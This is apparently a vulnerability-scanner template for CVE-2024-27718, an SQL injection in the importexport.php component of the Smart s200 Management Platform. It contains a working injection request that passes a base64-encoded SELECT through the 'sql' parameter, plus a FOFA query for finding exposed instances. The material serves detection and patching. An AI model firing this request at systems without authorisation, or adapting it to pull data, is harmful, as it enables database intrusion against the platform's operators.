Smart s200 Management Platform v.S200 - SQL Injection

id: CVE-2024-27718

info:
  name: Smart s200 Management Platform v.S200 - SQL Injection
  author: DhiyaneshDk
  severity: high
  description: |
    SQL Injection vulnerability in Baizhuo Network Smart s200 Management Platform v.S200 allows a local attacker to obtain sensitive information and escalate privileges via the /importexport.php component.
  impact: |
    Authenticated attackers can extract sensitive database information via SQL injection in the importexport.php component.
  remediation: |
    Update Smart s200 Management Platform to a version that addresses CVE-2024-27718.
  reference:
    - https://github.com/tldjgggg/cve/blob/main/sql.md
  classification:
    epss-score: 0.01101
    epss-percentile: 0.64459
  metadata:
    verified: true
    max-request: 1
    fofa-query: body="Smart管理平台"
  tags: cve,cve2024,smart-s45f,sqli,vuln

variables:
  num: "{{rand_int(9000000, 9999999)}}"
  cmd: "select+9,md5({{num}}),9"

http:
  - raw:
      - |
        GET /importexport.php?sql={{base64(cmd)}}&type=exportexcelbysql HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "{{md5(num)}}"

      - type: word
        part: header
        words:
          - 'application/octet-stream'

      - type: status
        status:
          - 200
# digest: 4a0a0047304502200be0c6a1805a185ec072c9c781eb8b027ccd86948fd57a66b55c1430a4ecc7b8022100d135b27297ff20f4717254453f32c16de784490fbb5ac2747c274c4830d7b9ea:922c64590222798bb761d5b6d8e72950